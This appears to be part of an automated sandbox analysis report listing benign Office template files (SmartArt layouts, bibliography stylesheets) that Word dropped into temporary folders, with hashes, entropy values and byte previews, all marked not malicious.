C:\Users\user\AppData\Local\Temp\TCDE9F5.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.4845992218379616
Encrypted:	false
SSDEEP:	6:fxnxUXQFoElh/lE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny8lLGHmD0+dAH/luWvv
MD5:	E8B30D1070779CC14FBE93C8F5CF65BE
SHA1:	9C87F7BC66CF55634AB3F070064AAF8CC977CD05
SHA-256:	2E90434BE1F6DCEA9257D42C331CD9A8D06B848859FD4742A15612B2CA6EFACB
SHA-512:	C0D5363B43D45751192EF06C4EC3C896A161BB11DBFF1FC2E598D28C644824413C78AE3A68027F7E622AF0D709BE0FA893A3A3B4909084DF1ED9A8C1B8267FCA
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .H.e.x.a.g.o.n.R.a.d.i.a.l...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDE9F5.tmp\HexagonRadial.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	6024
Entropy (8bit):	7.886254023824049
Encrypted:	false
SSDEEP:	96:bGa2onnLYHTSSxpHVTSH1bywZKmpRqiUtFvS9xrPooBpni6eDa16MUELHsrKjRBA:SJonLYzSSr1TuZNwtFZKpiiyrKXuCUd
MD5:	20621E61A4C5B0FFEEC98FFB2B3BCD31
SHA1:	4970C22A410DCB26D1BD83B60846EF6BEE1EF7C4
SHA-256:	223EA2602C3E95840232CACC30F63AA5B050FA360543C904F04575253034E6D7
SHA-512:	BDF3A8E3D6EE87D8ADE0767918603B8D238CAE8A2DD0C0F0BF007E89E057C7D1604EB3CCAF0E1BA54419C045FC6380ECBDD070F1BB235C44865F1863A8FA7EEA
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........2..<..]#.....'......diagrams/layout1.xml.].r.8...V.;0.;..aO........{.....V..3].d{..............\. .#.t... ........x<...@7o.]..7.N..@.NF..../....S.../.xC..U...<..Q.=...\|..v.....cQ..Y=.....i`.. ..?.;...Go....x.O.$....7s..0..qg....\|..r..l.w.a..p.3.Em7v...N............3..7...N.\\..f...9...U$..7...k.C..M.@\.s....G/..?...I...t.Yos...p..z...6.lnqi.6..<..1qg+......#]....\|C/N..K\}.....#..".

C:\Users\user\AppData\Local\Temp\TCDEA2C.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	262
Entropy (8bit):	3.4901887319218092
Encrypted:	false
SSDEEP:	6:fxnxUXqhBMl0OoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyiMl0OoGHmD0+dAH/luWvv
MD5:	52BD0762F3DC77334807DDFC60D5F304
SHA1:	5962DA7C58F742046A116DDDA5DC8EA889C4CB0E
SHA-256:	30C20CC835E912A6DD89FD1BF5F7D92B233B2EC24594F1C1FE0CADB03A8C3FAB
SHA-512:	FB68B1CF9677A00D5651C51EC604B61DAC2D250D44A71D43CD69F41F16E4F0A7BAA7AD4A6F7BB870429297465A893013BBD7CC77A8F709AD6DB97F5A0927B1DD
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .R.a.d.i.a.l.P.i.c.t.u.r.e.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDEA2C.tmp\RadialPictureList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5596
Entropy (8bit):	7.875182123405584
Encrypted:	false
SSDEEP:	96:dGa2unnLYEB2EUAPOak380NQjqbHaPKJebgrEVws8Vw+BMa0EbdLVQaZJgDZh0pJ:UJunLYEB2EUAxk3pIYaScgYwsV4bdS0X
MD5:	CDC1493350011DB9892100E94D5592FE
SHA1:	684B444ADE2A8DBE760B54C08F2D28F2D71AD0FA
SHA-256:	F637A67799B492FEFFB65632FED7815226396B4102A7ED790E0D9BB4936E1548
SHA-512:	3699066A4E8A041079F12E88AB2E7F485E968619CB79175267842846A3AD64AA8E7778CBACDF1117854A7FDCFB46C8025A62F147C81074823778C6B4DC930F12
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK.........V.<.S.....Y.......diagrams/layout1.xml.\.r.8...U....m.$.."3.....;...../3.XAn..O.?....V.;...")Nr.O.H....O......_..E..S...L7....8H.y<=............~...Ic......v9.X.%.\.^.,?g.v.?%w...f.).9.........Ld;.1..?~.%QQ...h.8;.gy..c4..]..0Ii.K&.[.9.......E4B.a..?e.B..4....E.......Y.?_&!.....i~..{.W..b....L.?..L..@.F....c.H..^..i...(d.......w...9..9,........q..%[..]K}.u.k..V.%.Y.....W.y..;e4[V..u.!T...).%.

C:\Users\user\AppData\Local\Temp\TCDEA3C.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5039994158393686
Encrypted:	false
SSDEEP:	6:fxnxUX4f+E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyvGHmD0+dAH/luWvv
MD5:	16711B951E1130126E240A6E4CC2E382
SHA1:	8095AA79AEE029FD06428244CA2A6F28408448DB
SHA-256:	855342FE16234F72DA0C2765455B69CF412948CFBE70DE5F6D75A20ACDE29AE9
SHA-512:	454EAA0FD669489583C317699BE1CE5D706C31058B08CF2731A7621FDEFB6609C2F648E02A7A4B2B3A3DFA8406A696D1A6FA5063DDA684BDA4450A2E9FEFB0EF
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.a.b.b.e.d.A.r.c...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDEA3C.tmp\TabbedArc.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3683
Entropy (8bit):	7.772039166640107
Encrypted:	false
SSDEEP:	96:GyfQZd6ZHNCWl9aXFkZwIq/QDsRYPf8P9QtDIs5r:G6wYtNZS1k99AmPfSOtD5r
MD5:	E8308DA3D46D0BC30857243E1B7D330D
SHA1:	C7F8E54A63EB254C194A23137F269185E07F9D10
SHA-256:	6534D4D7EF31B967DD0A20AFFF092F8B93D3C0EFCBF19D06833F223A65C6E7C4
SHA-512:	88AB7263B7A8D7DDE1225AE588842E07DF3CE7A07CBD937B7E26DA7DA7CFED23F9C12730D9EF4BC1ACF26506A2A96E07875A1A40C2AD55AD1791371EE674A09B
Malicious:	false
Preview:	PK.........a9;lq.ri...#.......diagrams/layout1.xmlz........WKn.0.];.`..J..AP...4E..!..hi$..I......z..D.d;...m.d...f.3o.._....9'.P.I1.F.C...d.D:.........Q..Z..5$..BO...e..(.9..2..+.Tsjp.. Vt.f.<...gA.h...8...>..p4..T...9.c...'.G.;.@.;xKE.A.uX.....1Q...>...B...!T.%.* ...0.....&......(.R.u..BW.yF.Grs...)..$..p^.s.c._..F4.. .<%.BD..E....x... ..@...v.7f.Y......N.\|.qW'..m..........im.?.64w..h...UI...J....;.0..[....G..\...?:.7.0.fGK.C.o^....j4............p...w:...V....cR..i...I...J=...%. &..#..[M....YG...u...I)F.l>.j.....f..6.....2.]..$7.....Fr..o.0...l&..6U...M..........%..47.a.[..s........[..r....Q./}.-.(.\..#. ..y`...a2......UA.$K.nQ:e!bB.H.-Q-a.$La.%.Z!...6L...@...j.5.....b..S.\c..u...R..dXWS.R.8"....o[..V...s0W..8:...U.#5..hK....ge.Q0$>...k.<...YA.g..o5...3.....~re.....>....:..$.~........pu ._Q..\|Z...r...E.X......U....f)s^.?...%......459..XtL:M.).....x..n9..h...c...PK........Ho9<"..%...........diagrams/layoutHeader1.xmlMP.N.0.>oOa.

C:\Users\user\AppData\Local\Temp\TCDEA65.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.4670546921349774
Encrypted:	false
SSDEEP:	6:fxnxUX0XPYDxUloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyEXPYDCloGHmD0+dAH/luWvv
MD5:	3D52060B74D7D448DC733FFE5B92CB52
SHA1:	3FBA3FFC315DB5B70BF6F05C4FF84B52A50FCCBC
SHA-256:	BB980559C6FC38B703D1E9C41720D5CE8D00D2FF86D4F25136DB02B1E54B1518
SHA-512:	952EF139A72562A528C1052F1942DAE1C0509D67654BF5E7C0602C87F90147E8EE9E251D2632BCB5B511AB2FF8A3734293D0A4E3DBD3D187F5E3C042685F9A0C
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.h.e.m.e.P.i.c.t.u.r.e.A.l.t.e.r.n.a.t.i.n.g.A.c.c.e.n.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDEA65.tmp\ThemePictureAlternatingAccent.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	5630
Entropy (8bit):	7.87271654296772
Encrypted:	false
SSDEEP:	96:n5ni6jKZWsD+QJaUQ7R6qYFF5QS+BEgeJam6S7ZCHuKViGa2CnnLYLt/ht:nccqxIBdQ1QS+uDJanS7ZCHHVdJCnLY5
MD5:	2F8998AA9CF348F1D6DE16EAB2D92070
SHA1:	85B13499937B4A584BEA0BFE60475FD4C73391B6
SHA-256:	8A216D16DEC44E02B9AB9BBADF8A11F97210D8B73277B22562A502550658E580
SHA-512:	F10F7772985EDDA442B9558127F1959FF0A9909C7B7470E62D74948428BFFF7E278739209E8626AE5917FF728AFB8619AE137BEE2A6A4F40662122208A41ABB2
Malicious:	false
Preview:	PK...........<..W8...j.......diagrams/layout1.xmlz........]......Hy..{...n .l.:.D.vvW..s....-a..fg&.}.\..+......4M..'=...(._.U]U......_.....U...k}.y.,......C..._^.......w/."7....v..Ea........Q..u..D{..{v.x.]....AtB15u..o...w..o.1...f.L...I<[zk7..7^..,.h.&l3...#..)..'H..d.r.#w=b...Ocw.y.&.v..t.>.s..m^M7..8I?o7................H...b....Qv.;'..%.f..#vR....V.H.),g..`...)(..m...[l...b...,.....U...Q.{.y.y.....G.I.tT.n..N.....A.tR..tr....i.<.......,.n:.#.A..a!X.......DK..;v..._M..lSc../n...v.....}.....I.\|8.!b.C..v..\|.....4l..n.;<9.i./..}!&2.c/.r...>.X02[..\|.a.-.....$#-....>...{.M].>3.,\o.x....X%;.F.k.)*".I8<.0..#......?.h..-..O.2.B.s..v....{Abd...h0....H..I.. ...%...$1.Fyd..Y....U...S.Y.#.V.....TH(....%..nk.3Y.e.m.-.S..Q...j.Ai..E..v......4.t.\|..&"...{..4.!.h.....C.P.....W...d[.....U<Yb;B.+W.!.@B....!.=......b"...Y.N;.#..Q...0G.lW...]7:...#9!z......\|f..r..x.....t........`.uL1u.:.....U.D.n.<Q.[%...ngC./..\|...!..q;;.w.".D..lt.".l.4".mt...E..mt

C:\Users\user\AppData\Local\Temp\TCDEA79.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	264
Entropy (8bit):	3.4866056878458096
Encrypted:	false
SSDEEP:	6:fxnxUX0XrZUloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyEXWloGHmD0+dAH/luWvv
MD5:	6C489D45F3B56845E68BE07EA804C698
SHA1:	C4C9012C0159770CB882870D4C92C307126CEC3F
SHA-256:	3FE447260CDCDEE287B8D01CF5F9F53738BFD6AAEC9FB9787F2826F8DEF1CA45
SHA-512:	D1355C48A09E7317773E4F1613C4613B7EA42D21F5A6692031D288D69D47B19E8F4D5A29AFD8B751B353FC7DE865EAE7CFE3F0BEC05F33DDF79526D64A29EB18
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.h.e.m.e.P.i.c.t.u.r.e.A.c.c.e.n.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDEA79.tmp\ThemePictureAccent.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6448
Entropy (8bit):	7.897260397307811
Encrypted:	false
SSDEEP:	192:tgaoRbo1sMjb0NiJ85oPtqcS+yaXWoa8XBzdJYnLYFtWT7:LR1sk+i4o1qc1yaukzd8MK
MD5:	42A840DC06727E42D42C352703EC72AA
SHA1:	21AAAF517AFB76BF1AF4E06134786B1716241D29
SHA-256:	02CCE7D526F844F70093AC41731D1A1E9B040905DCBA63BA8BFFC0DBD4D3A7A7
SHA-512:	8886BFD240D070237317352DEB3D46C6B07E392EBD57730B1DED016BD8740E75B9965F7A3FCD43796864F32AAE0BE911AB1A670E9CCC70E0774F64B1BDA93488
Malicious:	false
Preview:	PK.........k.>........'......diagrams/layout1.xmlz........].r.8.}.V.?p.n....g5..JUn.....(SU......T.l.......X.d."m."..S....F..P.........-..<Y^..=..e.L....m>.pG.....M~...+\....u}o...".Yn}Y.".-r......0...'/........{........F.~.M8.d....(.....q.D.....4\.;.D,.\.)n.S....Z.cl.\|<..7._.dk..7..E.......kS...d.....i.....noX...o.W#9..}.^..I0....G.......+.K.[i.O.\|G..8=.;.8.8.8.8.....{..-..^.y..[.....`...0..f...Q<^~...l....{...pA.z.$.$R.../...E.(..Q.(V.E_ ......X]Q..Y9.......>...8......l..--.ug.......I.;..].u.b.3Lv:.d.%H..l<...V...$.M..A>...^M./.[..I....o~,.U. .$d\..?........O.;..^M..O...A.$Yx..\|f.n...H.=.\|!cG)dd%..(... ..Xe......2B."i...n....P.R..E?... Y.I6...7n..Xs..J..K..'..JaU..d..\|.(y.a.....d......D.Dr...._.._..m..Yu..6.o.\......&.m....wy...4k?..~........f....0.. \...}iS.i..R....q-#_..g........{Z.u.V.r(....j.I...,R..f.=.n.[.'..L'd.n C.0.I.....RpaV........c.k..NR....)B^k...d.i...d0.E. ^..G.']....x.c.>'..p...y.ny.P.x6..%.J\.....De.B\.

C:\Users\user\AppData\Local\Temp\TCDEA9E.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	256
Entropy (8bit):	3.4842773155694724
Encrypted:	false
SSDEEP:	6:fxnxUXDAlIJAFIloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyMlI7loGHmD0+dAH/luWvv
MD5:	923D406B2170497AD4832F0AD3403168
SHA1:	A77DA08C9CB909206CDE42FE1543B9FE96DF24FB
SHA-256:	EBF9CF474B25DDFE0F6032BA910D5250CBA2F5EDF9CF7E4B3107EDB5C13B50BF
SHA-512:	A4CD8C74A3F916CA6B15862FCA83F17F2B1324973CCBCC8B6D9A8AEE63B83A3CD880DC6821EEADFD882D74C7EF58FA586781DED44E00E8B2ABDD367B47CE45B7
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .C.o.n.v.e.r.g.i.n.g.T.e.x.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDEA9E.tmp\ConvergingText.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	11380
Entropy (8bit):	7.891971054886943
Encrypted:	false
SSDEEP:	192:VJcnLYnAVbOFLaCPLrGGbhaWEu6d3RmryqLkeAShObPb1AYcRMMXjkfa0nYBwggD:VcMC8lLrRbhy1ZqLyShYb1FHQ4C0nYQJ
MD5:	C9F9364C659E2F0C626AC0D0BB519062
SHA1:	C4036C576074819309D03BB74C188BF902D1AE00
SHA-256:	6FC428CA0DCFC27D351736EF16C94D1AB08DDA50CB047A054F37EC028DD08AA2
SHA-512:	173A5E68E55163B081C5A8DA24AE46428E3FB326EBE17AE9588C7F7D7E5E5810BFCF08C23C3913D6BEC7369E06725F50387612F697AC6A444875C01A2C94D0FF
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........q.~<.6..9 ...e......diagrams/layout1.xml..r.........{.]..u...xv7b.....HPd....t.q...b.i_a.'..P.f.3..F..1...U.u.*.2......?}..O..V.....yQ.Mf........w.....O....N.........t3;...e....j.^.o&.....w...../.w................e.................O..,./..6...8>^.^..........ru5...\.=>[M?......g..........w.N....i.........iy6.?........>.......>{yT...........x.........-...z5.L./.g......_.l.1.....#...\|...pr.q

C:\Users\user\AppData\Local\Temp\TCDEA9F.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.5280239200222887
Encrypted:	false
SSDEEP:	6:fxnxUXQAl8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyllNGHmD0wbnKYZAH/lMZqiv
MD5:	877A8A960B2140E3A0A2752550959DB9
SHA1:	FBEC17B332CBC42F2F16A1A08767623C7955DF48
SHA-256:	FE07084A41CF7DB58B06D2C0D11BCACB603D6574261D1E7EBADCFF85F39AFB47
SHA-512:	B8B660374EC6504B3B5FCC7DAC63AF30A0C9D24306C36B33B33B23186EC96AEFE958A3851FF3BC57FBA72A1334F633A19C0B8D253BB79AA5E5AFE4A247105889
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .g.b...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDEA9F.tmp\gb.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	268317
Entropy (8bit):	5.05419861997223
Encrypted:	false
SSDEEP:	6144:JwprAJLR95vtfb8p4bgWPzDCvCmvQursq7vImej/yQzSS1apSiQhHDOruvoVeMUh:N9
MD5:	51D32EE5BC7AB811041F799652D26E04
SHA1:	412193006AA3EF19E0A57E16ACF86B830993024A
SHA-256:	6230814BF5B2D554397580613E20681752240AB87FD354ECECF188C1EABE0E97
SHA-512:	5FC5D889B0C8E5EF464B76F0C4C9E61BDA59B2D1205AC9417CC74D6E9F989FB73D78B4EB3044A1A1E1F2C00CE1CA1BD6D4D07EEADC4108C7B124867711C31810
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCDEAB0.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	260
Entropy (8bit):	3.4895685222798054
Encrypted:	false
SSDEEP:	6:fxnxUX4cPBl4xoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyPl4xoGHmD0+dAH/luWvv
MD5:	63E8B0621B5DEFE1EF17F02EFBFC2436
SHA1:	2D02AD4FD9BF89F453683B7D2B3557BC1EEEE953
SHA-256:	9243D99795DCDAD26FA857CB2740E58E3ED581E3FAEF0CB3781CBCD25FB4EE06
SHA-512:	A27CDA84DF5AD906C9A60152F166E7BD517266CAA447195E6435997280104CBF83037F7B05AE9D4617323895DCA471117D8C150E32A3855156CB156E15FA5864
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .V.a.r.y.i.n.g.W.i.d.t.h.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDEAB0.tmp\VaryingWidthList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3075
Entropy (8bit):	7.716021191059687
Encrypted:	false
SSDEEP:	48:96yn4sOBoygpySCCxwKsZCB2oLEIK+aQpUNLRQWtmMamIZxAwCC2QnyODhVOzP4:l0vCxJsZQ2ofpKvtmMdIZxAwJyODhVOE
MD5:	67766FF48AF205B771B53AA2FA82B4F4
SHA1:	0964F8B9DC737E954E16984A585BDC37CE143D84
SHA-256:	160D05B4CB42E1200B859A2DE00770A5C9EBC736B70034AFC832A475372A1667
SHA-512:	AC28B0B4A9178E9B424E5893870913D80F4EE03D595F587AA1D3ACC68194153BAFC29436ADFD6EA8992F0B00D17A43CFB42C529829090AF32C3BE591BD41776D
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK.........nB;O.......k......._rels/.rels...J.@.._e..4...i/.,x..Lw'....v'.<....WpQ..,......7?....u.y..;bL../..3t.+.t.G....Y.v8.eG.MH,....(\..d..R....t>Z.<F-..G.(..\.x...l?..M..:#........2.#.[..H7..#g{...._j...(.....q......;.5'..Nt..."...A.h........>....\.'...L..D..DU<.....C.TKu.5Tu....bV..;PK.........C26.b..............diagrams/layout1.xml.T.n. .}N....).je./m.+u....`{..0P......p..U}c.9g..3....=h.(.."..D-.&....~.....y..I...(r.aJ.Y..e..;.YH...P.{b......hz.-..>k.i5..z>.l...f...c..Y...7.ND...=.%..1...Y.-.o.=)(1g.{.".E.>2.=...]Y..r0.Q...e.E.QKal,.....{f...r..9-.mH..C..\.w....c.4.JUbx.p Q...R......_...G.F...uPR...\|um.+g..?..C..gT...7.0.8l$.*.=qx.......-8..8.

C:\Users\user\AppData\Local\Temp\TCDEAC2.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	332
Entropy (8bit):	3.4871192480632223
Encrypted:	false
SSDEEP:	6:fxnxUXsdDUaw93Ti8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyoRw9eNGHmD0wbnKYZAH/lMZqiv
MD5:	333BA58FCE326DEA1E4A9DE67475AA95
SHA1:	F51FAD5385DC08F7D3E11E1165A18F2E8A028C14
SHA-256:	66142D15C7325B98B199AB6EE6F35B7409DE64EBD5C0AB50412D18CBE6894097
SHA-512:	BFEE521A05B72515A8D4F7D13D8810846DC60F1E85C363FFEBD6CACD23AE8D2E664C563FC74700A4ED4E358F378508D25C46CB5BE1CF587E2E278EBC22BB2625
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .m.l.a.s.e.v.e.n.t.h.e.d.i.t.i.o.n.o.f.f.i.c.e.o.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDEAC2.tmp\mlaseventheditionofficeonline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	254875
Entropy (8bit):	5.003842588822783
Encrypted:	false
SSDEEP:	6144:MwprAnniNgtfbzbOWPuv7kOMBLitjAUjTQLrYHwR0TnyDkHqV3iPr1zHX5T6SSXj:a
MD5:	377B3E355414466F3E3861BCE1844976
SHA1:	0B639A3880ACA3FD90FA918197A669CC005E2BA4
SHA-256:	4AC5B26C5E66E122DE80243EF621CA3E1142F643DD2AD61B75FF41CFEE3DFFAF
